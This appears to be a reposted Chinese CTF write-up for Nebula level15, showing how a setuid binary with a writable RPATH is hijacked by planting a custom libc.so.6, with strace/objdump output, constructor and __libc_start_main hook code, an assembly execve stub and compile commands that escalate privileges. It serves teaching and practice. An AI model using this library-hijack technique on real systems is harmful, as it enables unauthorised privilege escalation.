Linux下的动态链接库包含漏洞

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Linux下的动态链接库包含漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含6901字，纯文字阅读大概需要10分钟。

内容图文

说明

Nebula是一个用于Linux下提权漏洞练习的虚拟机,其第15关Level15提供了这样一个有漏洞的程序flag15

sh-4.2$ ls -l
total 7
-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15
sh-4.2$ whoami
level15

要求利用该setuid程序的漏洞,从用户level15提权到用户flag15,执行/bin/getflag.

2. 漏洞挖掘

这道题是一个经典的动态链接库劫持题目,首先用strace观察flag15

execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x880e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
5/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfe0f594) = -1 ENOENT (No such file 
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = 3
...
exit_group(63)                          = ?

发现该程序链接到名为libc.so.6的动态链接库,但是/var/tmp目录对当前用户(level15)可写,因此可以在该目录下编写一个定制的libc.so.6,供程序flag15链接

我们进一步查看flag15的头信息,发现其确实依赖lib.so.6,并且使用RPATH编译,这表明flag15在运行时搜索包含动态链接库的路径/var/tmp/flag15,而且允许setuid执行(以LD_PRELOAD编译则不允许setuid执行).

sh-4.2$ objdump -p /home/flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

3. 漏洞利用

剩下的事就是要在/var/tmp/flag15目录下编写我们定制的libc.so.6,劫持flag15,提权运行/bin/getflag.

首先要hook flag15运行时用到的函数,这里有两个点可供选择.一是通过gcc 的__attribute ((constructor))修饰符声明自己的函数,这个函数可以在linux动态链接库入口_init 函数之前完成提权功能;二是在int __libc_start_main函数中加入自己的提权功能.

使用第一种方法编写:

sh-4.2$ cat constructor.c 
#include <stdio.h>

void __attribute ((constructor)) init()
{
    system("/bin/getflag");
}

编译

gcc -shared -fPIC -o libc.so.6 constructor.c

第二种方法编写

sh-4.2$ cat shell.c 
#include <unistd.h>

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) 
{  
    system("/bin/getflag");
}

编译

gcc -shared -fPIC -o libc.so.6 shell.c

得到libc.so.6

然后执行

sh-4.2$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

从上面提示发现缺少一个_cxa_finalize函数,于是在上述两种方法中的constructor.c或者shell.c中都可以增加

void __cxa_finalize(void)
{
    return;
}

修改constructor.c为contructor1.c,然后再次编译

sh-4.2$ gcc -shared -fPIC -o libc.so.6 contructor1.c

然后执行

sh-4.2$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

上面提示又缺少GLIBC的version信息。于是我们提供一个version script在编译时使用

继续编译并执行

sh-4.2$ cat version 
GLIBC_2.0 {};
sh-4.2$  gcc -shared -fPIC -o libc.so.6   contructor1.c -Wl,--version-script=version  
sh-4.2$ /home/flag15/flag15 
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

仍然提示出错,似乎没有找到system函数.下面也有两种方法来解决,一种是用静态链接库的方式编译来满足所有的依赖关系(why?),二是用汇编语言编写自己的system函数

第一种方法:

sh-4.2$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 contructor1.c 
sh-4.2$ /home/flag15/flag15 
You have successfully executed getflag on a target account
/home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

第二种方法:

sh-4.2$ cat shell.c 
#include <unistd.h>

void __cxa_finalize(void *d) {

}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {  
    system();
}

sh-4.2$ cat system.s
.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %eax ;execve系统调用
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0"

sh-4.2$  gcc -shared -fPIC -o libc.so.6   shell.c system.s  -Wl,--version-script=version  
sh-4.2$ /home/flag15/flag15 
You have successfully executed getflag on a target account

个人认为编写shellcode的方法相对于静态链接库编译的方式更易于理解,目前自己还没有弄清楚为什么用静态链接的方式就能解决system函数的问题.

参考

www.pwntester.com/blog/2013/11/26/nebula-level15-write-up/

https://github.com/1u4nx/Exploit-Exercises-Nebula

原文：http://cybersec.blog.51cto.com/1149046/1568255

内容总结

以上是互联网集市为您收集整理的Linux下的动态链接库包含漏洞全部内容，希望文章能够帮你解决Linux下的动态链接库包含漏洞所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1205355.html

来源：【匿名】

【下一篇】Linux下安装GD

更多 ►

【Linux下的动态链接库包含漏洞】教程文章相关的互联网学习教程文章

说明Nebula是一个用于Linux下提权漏洞练习的虚拟机,其第15关Level15提供了这样一个有漏洞的程序flag15sh-4.2$ ls -l total 7 -rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15 sh-4.2$ whoami level15要求利用该setuid程序的漏洞,从用户level15提权到用户flag15,执行/bin/getflag. 2. 漏洞挖掘这道题是一个经典的动态链接库劫持题目,首先用strace观察flag15execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0 brk...

linux实验二：SET-UID程序漏洞实验【代码】【图】

SET-UID程序漏洞实验20125113 赵恺一、实验描述Set-UID 是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候，它被假设为具有拥有者的权限。例如，如果程序的拥有者是root，那么任何人运行这个程序时都会获得程序拥有者的权限。Set-UID允许我们做许多很有趣的事情，但是不幸的是，它也是很多坏事情的罪魁祸首。因此本次实验的目标有两点：1．欣赏好的方面，理解为什么Set-UID是需要的，以及它是如何被执行的。2．注意坏...

Linux 平台下的漏洞扫描器 Vuls【图】

导读Vuls 是一款适用于 Linux/FreeBSD 的漏洞扫描程序，无代理，采用 Go 语言编写，对于系统管理员来说，每天必须执行安全漏洞分析和软件更新都是一个负担。为避免生产环境宕机，系统管理员通常选择不使用软件包管理器提供的自动更新选项，而是手动执行更新。这会导致以下问题：系统管理员必须不断注意NVD（National Vulnerability Database）或类似数据库中的新漏洞。如果服务器中安装了大量软件，系统管理员可能无法监视所有软件...

Linux堆溢出漏洞利用之unlink

Linux堆溢出漏洞利用之unlink作者：走位@阿里聚安全0 前言之前我们深入了解了glibc malloc的运行机制（文章链接请看文末▼），下面就让我们开始真正的堆溢出漏洞利用学习吧。说实话，写这类文章，我是比较怂的，因为我当前从事的工作跟漏洞挖掘完全无关，学习这部分知识也纯粹是个人爱好，于周末无聊时打发下时间，甚至我最初的目标也仅仅是能快速看懂、复现各种漏洞利用POC而已…鉴于此，后续的文章大致会由两种内容构成：1)各种相...

关于阿里云ECS Centos 5/6/7 Linux Glibc库严重安全漏洞修复方法【图】

日前Linux GNU glibc标准库的 gethostbyname函数爆出缓冲区溢出漏洞，漏洞编号为CVE-2015-0235。黑客可以通过gethostbyname系列函数实现远程代码执行，获取服务器的控制权及Shell权限，此漏洞触发途径多，影响范围大，请大家关注和及时临时修复。关于阿里云ECS Linux Glibc库严重安全漏洞修复方法。Centos 5/6/7：连接终端，或者putty登录首先检测目前的版本输入命令：rpm -qa | grep glibc我的显示：glibc-common-2.12-1.132.el6_...

linux-记得以前有个漏洞可以让访客下载到php源文件，叫什么来着？

记得以前看到过一个漏洞，可以让php停止解析，而apache仍正常运行，这样一来，访客在地址栏输入文件名就会看到完整的PHP源文件。我们现在有个项目的系统架构是这样的： DocumentRoot "C:/xampp/htdocs/mysite" 我希望向BOSS建议给我时间改成框架建议的标准方式： DocumentRoot "C:/xampp/htdocs/mysite/public" 想不起来具体的漏洞说明了，网上居然搜不到，求个链接或合适的搜索关键字，谢谢。回复内容：记得以前看到过一个漏洞，可...

罕见蠕虫瞄准PHP漏洞Linux安全不在_PHP

Linux安全　　据国外媒体报道，Linux和其他开源软件遭到病毒或黑客袭击的概率一般比较小。不过，最近所发现的一个蠕虫病毒引发了开源界的关注。因为这个病毒的袭击目标正是Linux平台上广为流行的WEB应用服用工具(平台)PHP。　　这个蠕虫病毒利用了PHP的XML-RPC组件中的一个漏洞。可以对网站服务器发起攻击。　　据悉，XML-RPC作为PHP的一部分，被诸如PostNuke、Drupal、b2evolution、Xoops、WordPress、PHPGroupWare和TikiWiki等...

Linux-学习之漏洞探索sqlmap【图】

输出信息： [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [03:50:12] [WARNING] unable to create output directory ‘/usr/share/sqlmap/output ...

Linux底层函数库glibc漏洞核查整改指引【图】

一、漏洞概要近日，Linux底层函数glibc 的 DNS 客户端解析器被发现存在基于栈的缓冲区溢出漏洞。攻击者可借助特制的域名、 DNS 服务器或中间人攻击利用该漏洞执行任意代码，甚至控制整个系统。二、漏洞原理攻击者可在恶意域名服务器创建恶意的DNS域名，诱骗用户访问查找恶意域名，并最终得到恶意服务器的 buffer-busting 响应。该域名被嵌入服务器日志中，一旦解析就会触发远程代码执行，SSH客户端也会因此被控制。 glibc通过...

linux oracle 11g 漏洞补丁升级

1 lsnrctl stop 关闭监听2 shutdown immediate 关闭数据库 3 上传压缩包并解压到/home/下 4 chown -R oracle:oinstall 28729262 (压缩目录赋予权限)5 su - oracle 6 cd /home/287292627 $ORACLE_HOME/OPatch/opatch apply8 lsnrctl start 启动监听9 startup nomount 启动数据库10 @?/rdbms/admin/catbundle.sql psu apply 启动数据库升级数据字典11 select * from v$version; select version, id, bundle_series, c...

LInux系统***植入排查分析及应用漏洞修复配置(隐藏bannner版本等)【代码】

在日常繁琐的运维工作中，对linux服务器进行安全检查是一个非常重要的环节。今天，分享一下如何检查linux系统是否遭受了***？一、是否***检查1）检查系统日志检查系统错误登陆日志，统计IP重试次数（last命令是查看系统登陆日志，比如系统被reboot或登陆情况） [root@bastion-IDC ~]# last2）检查系统用户查看是否有异常的系统用户 [root@bastion-IDC ~]# cat /etc/passwd查看是否产生了新用户，UID和GID为0的用户 [root@bastion-I...

Burp Suite Pro 2021.2 (macOS, Linux) -- 查找、发现和利用漏洞【图】

请访问原文链接：https://sysin.org/article/burp-suite-pro/，查看最新版。原创作品，转载请保留出处。简介 Burp Suite Professional 是一套用于测试 web 安全性的高级工具集 —- 所有这些都在一个产品中。从一个基本的拦截代理到尖端的 Burp 扫描器，使用 Burp Suite Pro，正确的工具只需点击一下就可以了。我们强大的自动化让您有更多的机会做您最擅长的，而 Burp Suite 处理容易实现的目标。先进的手动工具将帮助你识别目标更...